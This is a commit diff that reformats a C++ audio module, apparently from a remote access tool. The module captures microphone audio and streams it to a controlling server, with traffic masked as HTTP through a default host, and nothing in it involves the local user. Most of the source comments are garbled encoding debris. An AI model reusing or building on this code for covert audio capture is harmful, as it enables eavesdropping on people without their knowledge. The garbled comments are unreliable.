style: Format source code and support grouping client
This commit is contained in:
@@ -14,117 +14,108 @@
|
||||
|
||||
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
Mprintf("new CAudioManager %p\n", this);
|
||||
Mprintf("new CAudioManager %p\n", this);
|
||||
|
||||
m_bIsWorking = FALSE;
|
||||
m_AudioObject = NULL;
|
||||
m_bIsWorking = FALSE;
|
||||
m_AudioObject = NULL;
|
||||
|
||||
if (Initialize()==FALSE)
|
||||
{
|
||||
return;
|
||||
}
|
||||
if (Initialize()==FALSE) {
|
||||
return;
|
||||
}
|
||||
|
||||
BYTE bToken = TOKEN_AUDIO_START;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
BYTE bToken = TOKEN_AUDIO_START;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
|
||||
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
szPacket = NULL;
|
||||
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
szPacket = NULL;
|
||||
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
|
||||
}
|
||||
|
||||
|
||||
VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch(szBuffer[0])
|
||||
{
|
||||
case COMMAND_NEXT:
|
||||
{
|
||||
if (1 == ulLength)
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
m_AudioObject->PlayBuffer(szBuffer, ulLength);
|
||||
break;
|
||||
}
|
||||
}
|
||||
switch(szBuffer[0]) {
|
||||
case COMMAND_NEXT: {
|
||||
if (1 == ulLength)
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
m_AudioObject->PlayBuffer(szBuffer, ulLength);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DWORD CAudioManager::WorkThread(LPVOID lParam) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
CAudioManager *This = (CAudioManager *)lParam;
|
||||
while (This->m_bIsWorking)
|
||||
{
|
||||
if(!This->SendRecordBuffer())
|
||||
Sleep(50);
|
||||
}
|
||||
CAudioManager *This = (CAudioManager *)lParam;
|
||||
while (This->m_bIsWorking) {
|
||||
if(!This->SendRecordBuffer())
|
||||
Sleep(50);
|
||||
}
|
||||
|
||||
Mprintf("CAudioManager WorkThread end\n");
|
||||
Mprintf("CAudioManager WorkThread end\n");
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL CAudioManager::SendRecordBuffer()
|
||||
{
|
||||
DWORD dwBufferSize = 0;
|
||||
BOOL dwReturn = 0;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>
|
||||
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
|
||||
if (szBuffer == NULL)
|
||||
return 0;
|
||||
//<2F><><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
||||
szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><CDB8><EFBFBD>Ϣ
|
||||
//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
memcpy(szPacket + 1, szBuffer, dwBufferSize);
|
||||
szPacket[dwBufferSize] = 0;
|
||||
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
|
||||
if (dwBufferSize > 0)
|
||||
{
|
||||
dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
|
||||
}
|
||||
return dwReturn;
|
||||
{
|
||||
DWORD dwBufferSize = 0;
|
||||
BOOL dwReturn = 0;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>
|
||||
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
|
||||
if (szBuffer == NULL)
|
||||
return 0;
|
||||
//<2F><><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
||||
szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><CDB8><EFBFBD>Ϣ
|
||||
//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
memcpy(szPacket + 1, szBuffer, dwBufferSize);
|
||||
szPacket[dwBufferSize] = 0;
|
||||
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
|
||||
if (dwBufferSize > 0) {
|
||||
dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
|
||||
}
|
||||
return dwReturn;
|
||||
}
|
||||
|
||||
CAudioManager::~CAudioManager()
|
||||
{
|
||||
m_bIsWorking = FALSE; //<2F>趨<EFBFBD><E8B6A8><EFBFBD><EFBFBD>״̬Ϊ<CCAC><CEAA>
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE); //<2F>ȴ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>߳̽<DFB3><CCBD><EFBFBD>
|
||||
if (m_hWorkThread)
|
||||
CloseHandle(m_hWorkThread);
|
||||
m_bIsWorking = FALSE; //<2F>趨<EFBFBD><E8B6A8><EFBFBD><EFBFBD>״̬Ϊ<CCAC><CEAA>
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE); //<2F>ȴ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>߳̽<DFB3><CCBD><EFBFBD>
|
||||
if (m_hWorkThread)
|
||||
CloseHandle(m_hWorkThread);
|
||||
|
||||
if (m_AudioObject!=NULL)
|
||||
{
|
||||
delete m_AudioObject;
|
||||
m_AudioObject = NULL;
|
||||
}
|
||||
if (szPacket)
|
||||
{
|
||||
delete [] szPacket;
|
||||
szPacket = NULL;
|
||||
}
|
||||
Mprintf("~CAudioManager %p\n", this);
|
||||
if (m_AudioObject!=NULL) {
|
||||
delete m_AudioObject;
|
||||
m_AudioObject = NULL;
|
||||
}
|
||||
if (szPacket) {
|
||||
delete [] szPacket;
|
||||
szPacket = NULL;
|
||||
}
|
||||
Mprintf("~CAudioManager %p\n", this);
|
||||
}
|
||||
|
||||
//USB
|
||||
//USB
|
||||
BOOL CAudioManager::Initialize()
|
||||
{
|
||||
if (!waveInGetNumDevs()) //<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>Ŀ ʵ<>ʾ<EFBFBD><CABE>ǿ<EFBFBD><C7BF><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
return FALSE;
|
||||
if (!waveInGetNumDevs()) //<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>Ŀ ʵ<>ʾ<EFBFBD><CABE>ǿ<EFBFBD><C7BF><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
return FALSE;
|
||||
|
||||
// SYS SYS P
|
||||
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.. <20><>ֹ<EFBFBD>ظ<EFBFBD>ʹ<EFBFBD><CAB9>
|
||||
if (m_bIsWorking==TRUE)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
// SYS SYS P
|
||||
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.. <20><>ֹ<EFBFBD>ظ<EFBFBD>ʹ<EFBFBD><CAB9>
|
||||
if (m_bIsWorking==TRUE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
m_AudioObject = new CAudio; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_AudioObject = new CAudio; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
m_bIsWorking = TRUE;
|
||||
return TRUE;
|
||||
m_bIsWorking = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user